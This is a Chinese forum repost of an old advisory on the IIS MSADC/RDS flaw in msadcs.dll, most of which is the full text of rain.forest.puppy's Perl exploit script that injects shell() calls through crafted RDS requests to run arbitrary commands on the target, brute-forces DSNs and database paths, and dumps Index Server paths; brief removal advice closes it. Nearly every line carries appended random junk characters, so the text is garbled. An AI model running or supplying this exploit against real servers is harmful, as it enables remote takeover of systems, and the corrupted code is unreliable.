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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "D\>oFu  
jKh:}yl4  
涉及程序: v)p'0F#6A  
Microsoft NT server !dQmg'_V  
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描述: @4t_cxmD  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7vo8lnQ{  
4,,DA2^!  
详细: QdIx@[+WOq  
如果你没有时间读详细内容的话,就删除: _sb~eB~<(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll i:a*6b.U@N  
有关的安全问题就没有了。 zif&;)wV/  
c"O4=[N: ;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [psZc'q  
dhX$b!DA  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S j ly]  
关于利用ODBC远程漏洞的描述,请参看:  /!#A'#Z  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c;?J  
/Nc)bF%gX  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 5cvvdO*C0  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp p4F%FS:`  
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这里不再论述。 t$Bu<frQ  
8J#U=qYei  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: /[=Yv!  
.@Lktc  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset qzj.N$9]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! yhkKakg,)  
o;9 G{Xj3@  
_/czH<   
#将下面这段保存为txt文件,然后: "perl -x 文件名" Y{Ff I+  
9u6VN]divB  
#!perl 3'Hz,qP  
# J9*i`8kU.  
# MSADC/RDS 'usage' (aka exploit) script ZEp>~dn;  
# n^q%_60H   
# by rain.forest.puppy qyBC1an5,  
# lak,lDt]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %[4u #G`  
# beta test and find errors! \.aKxj5  
4tEAi4H|`@  
use Socket; use Getopt::Std; NXk~o!D  
getopts("e:vd:h:XR", \%args); F pT$D  
fikDpR  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4]HW!J  
LOgFi%!6:  
if (!defined $args{h} && !defined $args{R}) { d5>EvK U  
print qq~ naro  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }S$OE))u  
-h <host> = host you want to scan (ip or domain) YV8PybThc  
-d <seconds> = delay between calls, default 1 second 7K HQ0  
-X = dump Index Server path table, if available \@Gcx}Y8h  
-v = verbose MK-+[K  
-e = external dictionary file for step 5 !|W.YbS  
eslvg#Q  
Or a -R will resume a command session  _!_^B  
NQGa=kXeJ  
~; exit;} 4ClSl#X#i  
C hQ] d  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; nQOzKw<j%  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} TI}a$I*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} MgP&9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); : ?}mu1  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ,(RpBTV  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 3-=AmRxW't  
+I\54PBws  
if (!defined $args{R}){ $ret = &has_msadc; %Z+**>1J  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [dR#!"6t  
id588Y78  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >=d 5Scix  
. "cmd /c "; ;"2VU"  
$in=<STDIN>; chomp $in; UT5xUv5'  
$command="cmd /c " . $in ; !7f,gvk  
mrq,kwM  
if (defined $args{R}) {&load; exit;} _s+G02/q1  
cV"Ov@_.k  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; v8WT?%  
&try_btcustmr; z9:yt5ar  
(&1.!R[X  
print "\nStep 2: Trying to make our own DSN..."; L|Xg4Z  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; hH9~.4+*`g  
JljCI@  
print "\nStep 3: Trying known DSNs..."; 2">de/jS  
&known_dsn; 8f<y~L_(`  
1 +s;a]-C  
print "\nStep 4: Trying known .mdbs..."; !MrQ-B(  
&known_mdb; bEB2q\|Je  
ie11syhV"  
if (defined $args{e}){ c5|sda{  
print "\nStep 5: Trying dictionary of DSN names..."; |g >Q3E  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } )+"5($~  
n=PfV3B  
print "Sorry Charley...maybe next time?\n"; u(fZ^  
exit; lu6iU  
C(9"59>{]y  
############################################################################## P^# 4m  
qco uZO  
sub sendraw { # ripped and modded from whisker %Oo f/q  
sleep($delay); # it's a DoS on the server! At least on mine... D)bL;h  
my ($pstr)=@_; xFekSH7[F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6O/c%1VHA3  
die("Socket problems\n"); )Fp$ *]|  
if(connect(S,pack "SnA4x8",2,80,$target)){ L+VQtp &"  
select(S); $|=1; ?E_;[(Mcr  
print $pstr; my @in=<S>; mo3A*|U  
select(STDOUT); close(S); "G-h8IN^O  
return @in; sYo&@~T  
} else { die("Can't connect...\n"); }} 7AS_Aw1L  
1hlU 6 =Y  
############################################################################## MRw4?HqB  
ahIDKvJ4  
sub make_header { # make the HTTP request ij|>hQC5i  
my $msadc=<<EOT &XdTY +  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 @e&0Wk  
User-Agent: ACTIVEDATA }zS5o [OE  
Host: $ip ,v 2^Ui  
Content-Length: $clen %.D!J",\/K  
Connection: Keep-Alive /D1Lh_,2  
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ADCClientVersion:01.06 O_ZYm{T[7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 u}%6=V  
!Vg=l[  
--!ADM!ROX!YOUR!WORLD! 3z, Ci$[  
Content-Type: application/x-varg K,JK9)T  
Content-Length: $reqlen \EU^`o+  
\@yJbhk  
EOT /M::x+/T  
; $msadc=~s/\n/\r\n/g; w[\rS`J  
return $msadc;} w3"L5;oH  
`Oi#`lC\  
############################################################################## AC'_#nPL#  
^a`3)WBv8  
sub make_req { # make the RDS request 1og+(m`BL  
my ($switch, $p1, $p2)=@_; G&Dl($  
my $req=""; my $t1, $t2, $query, $dsn; 5 2 Qr  
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if ($switch==1){ # this is the btcustmr.mdb query t$~'$kM)<  
$query="Select * from Customers where City=" . make_shell(); /:Gy .  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 'e' p`*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 7i{(,:  
8!cHRtqK  
elsif ($switch==2){ # this is general make table query '<YBoU{ e*  
$query="create table AZZ (B int, C varchar(10))"; 79c M _O  
$dsn="$p1";} Ncsh{.  
<G|i5/|7  
elsif ($switch==3){ # this is general exploit table query HzKY2F(,  
$query="select * from AZZ where C=" . make_shell(); :fwtPvLo  
$dsn="$p1";} zeuj  
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elsif ($switch==4){ # attempt to hork file info from index server 8PH4v\tJEK  
$query="select path from scope()"; ;Vc|3  
$dsn="Provider=MSIDXS;";} In?#?:Q@&  
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elsif ($switch==5){ # bad query QRK\74'uY  
$query="select"; oQ,<Yx%E3  
$dsn="$p1";} @tY]=pqn_  
'fGKRd|)  
$t1= make_unicode($query); )qw;KG0F  
$t2= make_unicode($dsn); })P!7t  
$req = "\x02\x00\x03\x00"; :UP8nq  
$req.= "\x08\x00" . pack ("S1", length($t1)); F[$cE  
$req.= "\x00\x00" . $t1 ; Osm))Ua(  
$req.= "\x08\x00" . pack ("S1", length($t2)); d"miPR  
$req.= "\x00\x00" . $t2 ; %7}j|eS)G  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 9]w?mHslE  
return $req;} "f_qG2A{  
K)wWqC.  
############################################################################## TEY~E*=}$  
X?[ )e  
sub make_shell { # this makes the shell() statement CYQ)'v  
return "'|shell(\"$command\")|'";} G%: 3.:E"  
(YYg-@IO  
############################################################################## GVJ||0D  
;Su-Y!&%  
sub make_unicode { # quick little function to convert to unicode ![_0GFbT  
my ($in)=@_; my $out; xQDQgvwa  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } J ffaT_"\  
return $out;} {4,],0bjx/  
w(aHB8T  
############################################################################## =#[oi3k  
;m#4Q6k)V?  
sub rdo_success { # checks for RDO return success (this is kludge) prN+{N8YC  
my (@in) = @_; my $base=content_start(@in); q)Nw$dW<  
if($in[$base]=~/multipart\/mixed/){ b^C27s  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} % g  
return 0;} x51R:x(p  
oPr`SYB  
############################################################################## 1w(3!Ps+  
j|wN7@Zc  
sub make_dsn { # this makes a DSN for us [8IO0lul+  
my @drives=("c","d","e","f"); 9QLG:(~;  
print "\nMaking DSN: "; d[p2? ]  
foreach $drive (@drives) { <>9!oOa  
print "$drive: "; (^y"'B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . OVDuF&0  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" oV0 45G  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); &=jPt%7#M  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _Iav2= 0Wi  
return 0 if $2 eq "404"; # not found/doesn't exist } v:YSG  
if($2 eq "200") { Zs=A<[  
foreach $line (@results) { mc8Q2eQat}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p? o[+L<  
} return 0;} ed#fDMXGQ%  
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############################################################################## F[Mwd &P@  
fxPg"R!1i  
sub verify_exists { 2{63:f1c`'  
my ($page)=@_; 0jlM~H  
my @results=sendraw("GET $page HTTP/1.0\n\n"); i$<['DY  
return $results[0];} yiC7)=  
s. A}ydtt  
############################################################################## =X7kADRq  
%eg+ .  
sub try_btcustmr { IJGw<cB]+  
my @drives=("c","d","e","f"); FUI*nkZY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b;UDgq8v  
pN5kcvQ  
foreach $dir (@dirs) { HS{Vohy>  
print "$dir -> "; # fun status so you can see progress N=<`|I  
foreach $drive (@drives) {  )^{}ov  
print "$drive: "; # ditto G]f|?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8CZfz!2  
$reqlenlen=length( "$reqlen" ); O;<wD h)Yt  
$clen= 206 + $reqlenlen + $reqlen; ?PMbbqa0  
+`k30-<P  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 3PU_STSix  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /"?DOsJ.  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `hj,rF+4  
yj&GJuNb~  
############################################################################## cZ:jht  
(b f IS  
sub odbc_error { +:;ddV  
my (@in)=@_; my $base; bp:`m>4<  
my $base = content_start(@in); Mww^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this . &j+&  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w/m@(EBK  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '?veMX  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; w/nohZF6H  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~h3G}EH  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ?<!q F:r:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . W^ L ^7  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} /_qq(,3  
bKCE;Wu:G  
############################################################################## ;F"!$Z/  
MIIl+   
sub verbose { y ;[~(Yg[  
my ($in)=@_; js81@WX!c  
return if !$verbose; I!Z`'1"  
print STDOUT "\n$in\n";} 3t TOs  
2 3PRb<q  
############################################################################## -|m3=#  
JK =A=  
sub save { =Z:] %  
my ($p1, $p2, $p3, $p4)=@_; Mc@9ivwL#  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; JfN5#+_i  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; !t23 _b0  
close OUT;}  *XhlIQ  
=){ G  
############################################################################## 0AQ4:KV(Y  
"?3=FBp&  
sub load { f $Agcy  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";  Ol }5ry  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O0#[hY,  
@p=<IN>; close(IN); |})s0TU  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); dw<i)P^   
$target= inet_aton($ip) || die("inet_aton problems"); ~rBFP)  
print "Resuming to $ip ..."; _ l`F}v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; OX;(Mg|  
if($p[1]==1) { .pUB.l$)  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; lw9jk`7^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ZxnPSA@%  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'lZlfS:Z8  
if (rdo_success(@results)){print "Success!\n";} -iDs:J4Iq  
else { print "failed\n"; verbose(odbc_error(@results));}} p2gdA J  
elsif ($p[1]==3){  _'!?fA  
if(run_query("$p[3]")){ kuH%aM<R  
print "Success!\n";} else { print "failed\n"; }} ;]-08lzO<4  
elsif ($p[1]==4){ dP8qP_77A~  
if(run_query($drvst . "$p[3]")){ kT@ITA22  
print "Success!\n"; } else { print "failed\n"; }} dA h cA.  
exit;} $k\bP9  
vTK%8qoZ  
############################################################################## k2D*`\ D  
tw$EwNI[  
sub create_table { J=3{<Xl  
my ($in)=@_; 4P3RRS  
$reqlen=length( make_req(2,$in,"") ) - 28; Pw<?Dw]m  
$reqlenlen=length( "$reqlen" ); ~DK.Y   
$clen= 206 + $reqlenlen + $reqlen; 0(y*EJA$  
my @results=sendraw(make_header() . make_req(2,$in,"")); 3HrG^/  
return 1 if rdo_success(@results); 7p.8{zQ*  
my $temp= odbc_error(@results); verbose($temp); }U_^zQfaj  
return 1 if $temp=~/Table 'AZZ' already exists/; }+KM"+@$<  
return 0;} u;q Q/Ftb  
B46:LQ9[  
############################################################################## < c^'$  
2.Vrh@FNRo  
sub known_dsn { bPOPoq1#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go fS4foMI63)  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", }h;Z_XF&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", G!I++M"  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ` 7iA?;  
%Y ZC dS  
foreach $dSn (@dsns) { :g|.x  
print "."; fF0K].  
next if (!is_access("DSN=$dSn")); ' bl9fO4v  
if(create_table("DSN=$dSn")){ ; pBLmm*F  
print "$dSn successful\n"; u;t<rEC2  
if(run_query("DSN=$dSn")){ 1 Gr^,Ry  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { jv~#'=T'  
print "Something's borked. Use verbose next time\n";}}} print "\n";} F `:Q  
bra2xHK@  
############################################################################## F7=9> ,  
nN{DO:_o  
sub is_access { RkG?R3e  
my ($in)=@_; \;0pjxq=  
$reqlen=length( make_req(5,$in,"") ) - 28; F\JS?zt2  
$reqlenlen=length( "$reqlen" ); %DiQTg7V,  
$clen= 206 + $reqlenlen + $reqlen; 7-B|B{]  
my @results=sendraw(make_header() . make_req(5,$in,"")); r B+ (  
my $temp= odbc_error(@results); Hj >fg2/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); DIGw4g4Kt  
return 0;} 6Mc&=}bV  
k5\V:P=#  
############################################################################## t[!,puZc#  
M#^q <K %  
sub run_query { i`@cVYsL  
my ($in)=@_; Lmjd,t  
$reqlen=length( make_req(3,$in,"") ) - 28; Gk5'|s  
$reqlenlen=length( "$reqlen" ); U[pHT _U  
$clen= 206 + $reqlenlen + $reqlen; 2*D2jw  
my @results=sendraw(make_header() . make_req(3,$in,"")); F4\:9ws  
return 1 if rdo_success(@results); R WY>`.su  
my $temp= odbc_error(@results); verbose($temp); Bdh*[S\u@E  
return 0;} -4QZ/*  
)$^xbC#j`3  
############################################################################## 3/vtx9D  
\/1~5mQ+  
sub known_mdb { h{mzYy} b  
my @drives=("c","d","e","f","g"); H,KH}25  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $CB&>?~  
my $dir, $drive, $mdb; 2Di~}*9&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; bsu?Q'q  
eFs5 l  
# this is sparse, because I don't know of many l#cVQ_^"  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Kc]cJ`P4.  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *m "@*O'  
"\\system32\\certmdb.mdb", DH.`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% |E K6txRb  
RbUir185Y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", yam'LF  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Qf0P"s`  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", w31O~Ve  
"\\cfusion\\cfapps\\security\\realm_.mdb", aN"YEL>w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", LeN }Q  
"\\cfusion\\database\\cfexamples.mdb", TgV-U  
"\\cfusion\\database\\cfsnippets.mdb", R~oY R,L;  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", A(&\wd  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9ls1y=M8J  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \&vXp"-@  
"\\cfusion\\database\\smpolicy.mdb", <tTNtBb  
"\\cfusion\\database\cypress.mdb", 1<@lM8&.kO  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 7vgRNzZoq  
"\\website\\cgi-win\\dbsample.mdb", iOa<=  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 3SWDPy  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" z]g#2xD2  
); #these are just Jy:@&c  
foreach $drive (@drives) { n2*Ua/J-8  
foreach $dir (@dirs){ CxaI@+  
foreach $mdb (@sysmdbs) { 7Z]?a  
print "."; %tkqWK:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qX5]\nX&G  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Pq~#SxA~  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ {!( htg;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; LGy6 2 y$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} L' _%zO  
q#Otp\f  
foreach $drive (@drives) { q:up8-LAr  
foreach $mdb (@mdbs) { !pe[H*Cy  
print "."; XKp(31])  
if(create_table($drv . $drive . $dir . $mdb)){ 2 br>{^T  
print "\n" . $drive . $dir . $mdb . " successful\n"; r8R7@S2V'  
if(run_query($drv . $drive . $dir . $mdb)){ n)cc\JPQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 71Q`B#t0'Z  
} else { print "Something's borked. Use verbose next time\n"; }}}} mn1!A`$  
} t`&mszd~T  
s7E %Et  
############################################################################## si%V63^lN  
ajRht +{  
sub hork_idx { Q >yj<DR  
print "\nAttempting to dump Index Server tables...\n"; m?Jnb\0  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =WCE "X  
$reqlen=length( make_req(4,"","") ) - 28; z1RHdu0;z  
$reqlenlen=length( "$reqlen" ); )e[q% %ks  
$clen= 206 + $reqlenlen + $reqlen; Wsd_RT}ww  
my @results=sendraw2(make_header() . make_req(4,"","")); X%!?\3S  
if (rdo_success(@results)){ ?>=vKU5  
my $max=@results; my $c; my %d; lKQjG+YF  
for($c=19; $c<$max; $c++){ LVP6vs  
$results[$c]=~s/\x00//g; tvJl-&'N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G|?V}pZ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 9[{q5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; F9w2+z.  
$d{"$1$2"}="";} o}36bi{  
foreach $c (keys %d){ print "$c\n"; } z 4. |N  
} else {print "Index server doesn't seem to be installed.\n"; }} 8oHIXnK  
mFpj@=^_G  
############################################################################## y54RD/`-  
oM n'{+(w  
sub dsn_dict { 8f?o?c|  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); T}p|_)&y  
while(<IN>){ Rp zuSh  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6EWCJ%_  
next if (!is_access("DSN=$dSn")); 9 [E/^  
if(create_table("DSN=$dSn")){ `T2DGv  
print "$dSn successful\n"; <6N3()A)%1  
if(run_query("DSN=$dSn")){ Q\~#cLJ/  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ieEt C,U  
print "Something's borked. Use verbose next time\n";}}} ENYc.$ r  
print "\n"; close(IN);} w0>5#j q#r  
AnsJ3C  
############################################################################## 6(Cjak+~!  
f b8xs<  
sub sendraw2 { # ripped and modded from whisker K/(Z\lL  
sleep($delay); # it's a DoS on the server! At least on mine... T/L\|_:'  
my ($pstr)=@_; ^y&2N  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || kYS\TMt,C  
die("Socket problems\n"); m&*0<N  
if(connect(S,pack "SnA4x8",2,80,$target)){ UBwYwm0  
print "Connected. Getting data"; BhyLcUBuB  
open(OUT,">raw.out"); my @in; Pw Amnk !  
select(S); $|=1; print $pstr; W.7u6F`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} h 1j1PRE  
close(OUT); select(STDOUT); close(S); return @in; 0,LUi*10  
} else { die("Can't connect...\n"); }} 8r.MODZG/  
F j"]C.6B.  
############################################################################## @bFl8-  
F>u/Lh!  
sub content_start { # this will take in the server headers '~6l 6wi  
my (@in)=@_; my $c; 3z 5"Ckzb  
for ($c=1;$c<500;$c++) { +I~U8v-  
if($in[$c] =~/^\x0d\x0a/){ tN)Vpb\J  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ' #r^W2  
else { return $c+1; }}} HBa6Y&)<  
return -1;} # it should never get here actually G)5Uiu:^X  
/X\:3P  
############################################################################## e+MsFXnB8  
.fzns20u  
sub funky { +zFEx%3^  
my (@in)=@_; my $error=odbc_error(@in); toox`|  
if($error=~/ADO could not find the specified provider/){ Im`R2_(]  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~r]$(V n  
exit;} >&qaT*_g  
if($error=~/A Handler is required/){ (n{!~'3  
print "\nServer has custom handler filters (they most likely are patched)\n"; /P{'nI  
exit;} 0pe*DbYP5  
if($error=~/specified Handler has denied Access/){ 3t] 0  
print "\nServer has custom handler filters (they most likely are patched)\n"; s[*I210  
exit;}} 3V/|"R2s  
y*sqnzgF  
############################################################################## OdJ=4 x>  
tUFXx\p  
sub has_msadc { P$A'WEO'  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); H%Sx*|  
my $base=content_start(@results); .V^h<d{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); HtI>rj/\ x  
return 0;} @v\jL+B+m  
"8yDqm  
######################## k*T&>$k}^  
"CT`]:GGK  
]n|lHZR  
解决方案: ,6\oT;G  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll y{qKb:~wv  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Ru`7Xd.  
N%8aLD  
拿出来充数 哈哈
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